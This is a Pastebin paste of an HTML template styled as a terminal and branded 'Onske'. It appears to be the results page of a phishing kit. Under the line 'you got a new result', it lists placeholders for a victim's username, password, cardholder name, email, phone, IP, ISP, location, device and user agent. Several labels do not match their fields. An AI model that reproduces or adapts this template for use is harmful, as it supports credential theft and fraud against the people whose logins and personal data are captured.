widimulcing

Billing

Jul 24th, 2024 (edited)
35
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.75 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6. <title>Onske - App(s)</title>
  7. <style>
  8. body, html {
  9. margin: 0;
  10. padding: 0;
  11. height: 100%; /* Full height of the viewport */
  12. background-image: linear-gradient(to right, #0f2027, #203a43, #2c5364);
  13. background-color: #000;
  14. color: #ffffff;
  15. font-family: Consolas, monospace;
  16. }
  17.  
  18. .terminal {
  19. max-width: 600px;
  20. margin: 20px auto;
  21. border: 2px solid #333;
  22. border-radius: 5px;
  23. background-color: #1e1e1e;
  24. color: #ffffff;
  25. }
  26.  
  27. .terminal-header {
  28. background-color: #333;
  29. padding: 5px;
  30. display: flex;
  31. }
  32. .prompt {
  33. color: #00ff00;
  34. }
  35. .terminal-button {
  36. height: 12px;
  37. width: 12px;
  38. border-radius: 50%;
  39. margin-right: 5px;
  40. }
  41.  
  42. .close { background-color: #ff5f56; }
  43. .minimize { background-color: #ffbd2e; }
  44. .maximize { background-color: #27c93f; }
  45.  
  46. .terminal-body {
  47. padding: 10px;
  48. font-family: Consolas, monospace;
  49. }
  50. .blink {
  51. animation: blinker 1s linear infinite;
  52. }
  53. @keyframes blinker {
  54. 50% {
  55. opacity: 0;
  56. }
  57. }
  58.  
  59. @media (max-width: 600px) {
  60. .terminal {
  61. margin: 0;
  62. max-width: 100%;
  63. border-radius: 0;
  64. color: #ffffff;
  65. }
  66. }
  67. </style>
  68. </head>
  69. <body style="height: 100%;margin: 0;background-color: #000;color: #ffffff;font-family: Consolas, monospace;">
  70. <div class="terminal" style="max-width: 600px;margin: 20px auto;border: 2px solid #333;border-radius: 5px;background-color: #1e1e1e;color: #ffffff;">
  71. <div class="terminal-header" style="background-color: #333;padding: 5px;display: flex;">
  72. <div class="terminal-button close" style="background-color: #ff5f56;height: 12px;width: 12px;border-radius: 50%;margin-right: 5px;"></div>
  73. <div class="terminal-button minimize" style="background-color: #ffbd2e;height: 12px;width: 12px;border-radius: 50%;margin-right: 5px;"></div>
  74. <div class="terminal-button maximize" style="background-color: #27c93f;height: 12px;width: 12px;border-radius: 50%;margin-right: 5px;"></div>
  75. </div>
  76. <div class="terminal-body" style="padding: 10px;font-family: Consolas, monospace;">
  77. <p>
  78. <span style="color: #00ff00;">C:\Users\Ønske&gt;</span> Congratulations! you got a new result<br/>
  79. <span style="color: #00ff00;">C:\Users\Ønske&gt;</span> show result
  80. </p>
  81. <p>
  82.  
  83. </p>
  84. <!-- More terminal lines here -->
  85. <div class="responsive-table" style="">
  86. <table style="width:100%; color: #86ffff;">
  87. <thead>
  88. <tr>
  89. <th width="40%"><span style="color:#ffffff;"><b>Info</b>(s)</span></th>
  90. <th width="60%"><span style="color:#ffffff;"><b>Detail</b>(s)</span></th>
  91. </tr>
  92. </thead>
  93. <tbody>
  94. <tr>
  95. <td width="40%" style="text-align:left;">--Email/Username</td>
  96. <td width="60%" style="color:#ffffff;text-align:left;">{username}</td>
  97. </tr>
  98. <tr>
  99. <td width="40%" style="text-align:left;">--Password 1</td>
  100. <td width="60%" style="color:#ffffff;text-align:left;">{password}</td>
  101. </tr>
  102. <tr>
  103. <td height="10" colspan="2" valign="middle" align="center">
  104. <hr style="border-bottom:3px solid #bcbcbc;">
  105. </td>
  106. </tr>
  107. <tr>
  108. <td width="40%" style="text-align:left;">Address Line 1</td>
  109. <td width="60%" style="color:#ffffff;text-align:left;">{ccname}</td>
  110. </tr>
  111. <tr>
  112. <td width="40%" style="text-align:left;">Address Line 2</td>
  113. <td width="60%" style="color:#ffffff;text-align:left;">{email}</td>
  114. </tr>
  115. <tr>
  116. <td width="40%" style="text-align:left;">City</td>
  117. <td width="60%" style="color:#ffffff;text-align:left;">{phone}</td>
  118. </tr>
  119. <tr>
  120. <td width="40%" style="text-align:left;">Zip</td>
  121. <td width="60%" style="color:#ffffff;text-align:left;">{zip}</td>
  122. </tr>
  123. <tr>
  124. <td width="40%" style="text-align:left;">Country</td>
  125. <td width="60%" style="color:#ffffff;text-align:left;"><b>CA</b></td>
  126. </tr>
  127. <tr>
  128. <td height="10" colspan="2" valign="middle" align="center">
  129. <hr style="border-bottom:3px solid #bcbcbc;">
  130. </td>
  131. </tr>
  132. <tr>
  133. <td height="10" colspan="2" valign="middle" align="center">
  134. <hr style="border-bottom:3px solid #bcbcbc;">
  135. </td>
  136. </tr>
  137. <tr>
  138. <td width="40%"style="text-align:left;">--IP Address</td>
  139. <td width="60%" style="color:#ffffff;text-align:left;">{ip}</td>
  140. </tr>
  141. <tr>
  142. <td width="40%"style="text-align:left;">--ISP</td>
  143. <td width="60%" style="color:#ffffff;text-align:left;">{state}</td>
  144. </tr>
  145. <tr>
  146. <td width="40%"style="text-align:left;">--ISP</td>
  147. <td width="60%" style="color:#ffffff;text-align:left;">{city}</td>
  148. </tr>
  149. <tr>
  150. <td width="40%"style="text-align:left;">--Hostname</td>
  151. <td width="60%" style="color:#ffffff;text-align:left;">{hostname}</td>
  152. </tr>
  153. <tr>
  154. <td width="40%"style="text-align:left;">--ISP</td>
  155. <td width="60%" style="color:#ffffff;text-align:left;">{isp}</td>
  156. </tr>
  157. <tr>
  158. <td width="40%"style="text-align:left;">--Language</td>
  159. <td width="60%" style="color:#ffffff;text-align:left;">{language}</td>
  160. </tr>
  161. <tr>
  162. <td width="40%"style="text-align:left;">--Device Timezone</td>
  163. <td width="60%" style="color:#ffffff;text-align:left;">{timezoneD}</td>
  164. </tr>
  165. <tr>
  166. <td width="40%"style="text-align:left;">--IP Timezone</td>
  167. <td width="60%" style="color:#ffffff;text-align:left;">{timezone}</td>
  168. </tr>
  169. <tr>
  170. <td width="40%"style="text-align:left;">--Device Resolution</td>
  171. <td width="60%" style="color:#ffffff;text-align:left;">{deviceR}</td>
  172. </tr>
  173. <tr>
  174. <td width="40%" style="text-align:left;">--Browser Resolution</td>
  175. <td width="60%" style="color:#ffffff;text-align:left;">{browserR}</td>
  176. </tr>
  177. <tr>
  178. <td width="40%"style="text-align:left;">--Latitude/Longitude</td>
  179. <td width="60%" style="color:#ffffff;text-align:left;">{lat}/{lon}</td>
  180. </tr>
  181. <tr>
  182. <td width="40%"style="text-align:left;">--Device</td>
  183. <td width="60%" style="color:#ffffff;text-align:left;">{detailsdevice}</td>
  184. </tr>
  185. <tr>
  186. <td width="40%"style="text-align:left;">--Useragent</td>
  187. <td width="60%" style="color:#ffffff;text-align:left;">{useragent}</td>
  188. </tr>
  189. <!-- More rows here -->
  190. </tbody>
  191. </table>
  192. </div>
  193. <p>
  194. <span style="color: #00ff00;">C:\Users\Ønske&gt;</span> By Ønske Created with ❤️ and lot of coffee<span style="" class="blink">_</span>
  195. </p>
  196. </div>
  197.  
  198. </div>
  199. </body>
  200.  
  201. </html>
Advertisement
Add Comment
Please, Sign In to add comment